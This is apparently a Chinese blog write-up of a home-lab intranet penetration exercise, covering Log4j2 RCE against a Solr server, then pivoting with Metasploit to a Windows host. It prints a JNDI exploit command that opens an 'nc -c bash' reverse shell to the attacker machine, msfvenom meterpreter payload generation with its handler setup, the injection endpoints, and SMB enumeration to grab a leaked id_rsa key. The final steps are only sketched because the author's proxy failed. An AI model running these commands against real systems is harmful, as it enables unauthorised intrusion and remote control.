内网打靶练习(log4j2、私钥泄露)

简介: 内网打靶练习(log4j2、私钥泄露)

攻击环境介绍

搭建靶机的过程过几天我再写,先写一下复现的过程(最近有些懒了)

web服务端:centos上搭建的solr192.168.80.130(外)     192.168.75.130(内) 内网主机:Windows10 192.168.75.128 kali 攻击机:kali 192.168.80.131

getshell (log4j2 RCE)

来看一下web服务端,是一个solr框架昂

然后我们看一下solr官网升级到了哪个版本,现在已经到9.0.0版本了,8.1.0版本是在去年十一月发布的,应该是存在log4j2的RCE的

上图是8.1.1版本更新的细节,是吧log4j2更新到了2.16版本

简单回顾下log4j2漏洞,我之前也有两篇文章是复现这个漏洞的。

Apache Log4j2是一款优秀的Java日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

漏洞验证

因为这个环境是我搭建的,没有修复,肯定是有log4j2 的rce的,就是省略验证过程了,验证就是在注入点用dnslog去验证,这里放个别人的图。

有记录昂,就是存在漏洞。

存在注入的点

  1. 1. /solr/admin/info?d=payload
  2. 2. /solr/admin/cores?action=payload
  3. 3. "Core Admin" -> "Add Core" -> "name"处

反弹shell

这里给个生成反弹shell的命令的一个工具:https://forum.ywhack.com/reverse-shell/

我这里用的是nc -c,你们也可以用其他的,替换掉引号里的shell命令就行

首先开一个监听,根据网站上面右上角的命令来(注意保持端口一致)。

然后,是使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具,执行下面内容:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc -c bash 192.168.80.131 1234" -A 192.168.80.131

然后利用生成的紫色的这个加上${jndi:xxxxxxx}去RCE,一个不行就试试其他的,别在一棵树上吊死

我这里随便找一个注入点,就用第一个吧。

虽然返回来的是404,但是去看一下监听的窗口,有上线主机,用whoami看一下当前用户。

connect……是连接上线 whoami是我输入的命令 root是返回的值

这时候就是拿到了shell

域渗透

使用msf生成linux木马

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.80.131 LPORT=4444 -f elf > mshell.elf

这个mshell.elf就是msf刚刚生成的Linux木马

然后开启HTTP服务,让centos下载木马并执行

右边是开启http服务,左边是使用反弹的shell,下载刚刚msf生成的linux木马

执行前现在msf开启监听

use exploit/multi/handler  #使用监听模块
set payload linux/x64/meterpreter_reverse_tcp #使用和木马相同的payload
set lhost 192.168.85.131 #kaili 的ip
set lport 4444 #木马的端口
run #执行

右边是msf监听,左边是先授予权限,然后执行木马

成功上线拿到meterpreter

然后用ifconfig查看内网ip

可以看到内网ip是192.168.75.130 嗷~~

建立路由 run autoroute -s 192.168.75.0/24

然后msf扫描内网存活主机

info post/multi/gather/ping_sweep //查看所需参数
run post/multi/gather/ping_sweep rhosts=192.168.75.0/24 //扫网段

抱歉这里没有贴图片,应该是显示结果内网段有两个ip 192.168.75.128 192.168.75.130 (web服务端)

然后msf启动socks代理,准备打里面的主机

search socks
use 3 # 你们的不一定是3,看清楚是哪个再选
show options #看一下端口号和版本
run

看清对应的端口号和版本号

然后去编辑proxychains配置文件,使用严格模式

这里就是用上了代理,所有的操作会在192.168.75.0/24网段代理进行了

使用Nmap扫描内网的另一台靶机:proxychains nmap -Pn -sT 192.168.75.128


断更于此,因为我代理没设置正确,或者msf的socks代理没成功开启,扫不出结果,无法进行后续操作,


后面大致思路是,扫描后发现有smb服务,开启了匿名访问:proxychains smbclient -L //192.168.75.128

然后枚举文件proxychains smbmap  -H 192.168.75.128 -u "guest" -p "" -R Users 发现id_rsa文件,

下载下来ssh登录

proxychains ssh username@192.168.75.128 -i id_rsa

即可拿到域内主机的shell

参考文章

log4j2 rce:

https://www.modb.pro/db/242449http://www.hackdig.com/12/hack-567304.htmhttps://wenku.baidu.com/view/0e3bba9a950590c69ec3d5bbfd0a79563c1ed46c.html

域渗透:

这里是引用

目录
相关文章
|
2月前
|
存储 安全 网络安全
Pikachu敏感信息泄露通关解析
Pikachu敏感信息泄露通关解析
|
网络协议 安全 Java
浅谈Log4j2信息泄露与不出网回显
浅谈Log4j2信息泄露与不出网回显
1378 0
浅谈Log4j2信息泄露与不出网回显
|
存储 安全 Linux
别让你的服务器(vps)沦为肉鸡(ssh暴力破解),密钥验证、双向因子登录值得拥有
如果你购买了阿里云、腾讯云或者华为云等国内云服务上的服务器,默认登录都是以密码的方式,这就给潜在的渗透带来了机会,因为当你的linux服务器暴露在外网当中时,服务器就极有可能会遭到互联网上的扫描软件进行扫描,然后试图连接ssh端口进行暴力破解(穷举扫描),如果你不采取相对应的措施,迟早有一天服务器会被渗透者攻陷,这也就解释了为什么google cloud(谷歌云)和aws(亚马逊云)默认都是以秘钥的方式登录服务器。
别让你的服务器(vps)沦为肉鸡(ssh暴力破解),密钥验证、双向因子登录值得拥有
|
安全 网络安全 数据安全/隐私保护
【计算机网络】网络安全 : 实体鉴别 ( 实体鉴别过程 | 不重数机制 | 公钥体质加密不重数 | 中间人攻击 )
【计算机网络】网络安全 : 实体鉴别 ( 实体鉴别过程 | 不重数机制 | 公钥体质加密不重数 | 中间人攻击 )
299 0
【计算机网络】网络安全 : 实体鉴别 ( 实体鉴别过程 | 不重数机制 | 公钥体质加密不重数 | 中间人攻击 )
|
Web App开发 缓存 监控
SSL:今天截获,明天解密
成千上万的网站和个人依靠SSL来保护敏感信息的传输,比如密码、信用卡信息和那些期望通过加密来保障隐私的个人信息。然而,最近被泄密的文件表明,美国国家安全局NSA记录了庞大的互联网流量并且保留其中的加密信息供以后解密分析。想监控互联网加密流量的政府远不止美国一个,沙特阿拉伯曾就SSL流量解密寻求过帮助,中国在今年一月份被指控对GitHub进行基于SSL的中间人攻击,伊朗也被报道进行深度包检测,但这些仅仅是冰山一角。
166 0
SSL:今天截获,明天解密
一次主账号AK-SK疑似泄露处理过程
缘起最近抽业余时间帮朋友看了一眼他的公司的一批阿里云账号,发现一个极为严重的隐患,那就是有主账号访问密钥对(AK - AccessKeyId,SK - AccessKeySecret,后面统一简称AK-SK),且这个AK-SK是明文写在公司App应用的配置文件中,App用它来上传下载客户的文件。
|
安全 算法 数据安全/隐私保护
https是如何加密的 (知道了原理之后,希望自己能用代码实现一下,还有用于对个人信息和公钥进行加密的哈希算法,有时间也去查一下)
由于http协议是明文传输数据,数据的安全性没有保障。为了改进这种明文传输协议,https诞生了。   https是在应用层和传输层之间,增加了一层ssl加密。
1448 0
|
数据安全/隐私保护 安全
CTF杂项题:数据包中泄露了密码
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396495 ...
1172 0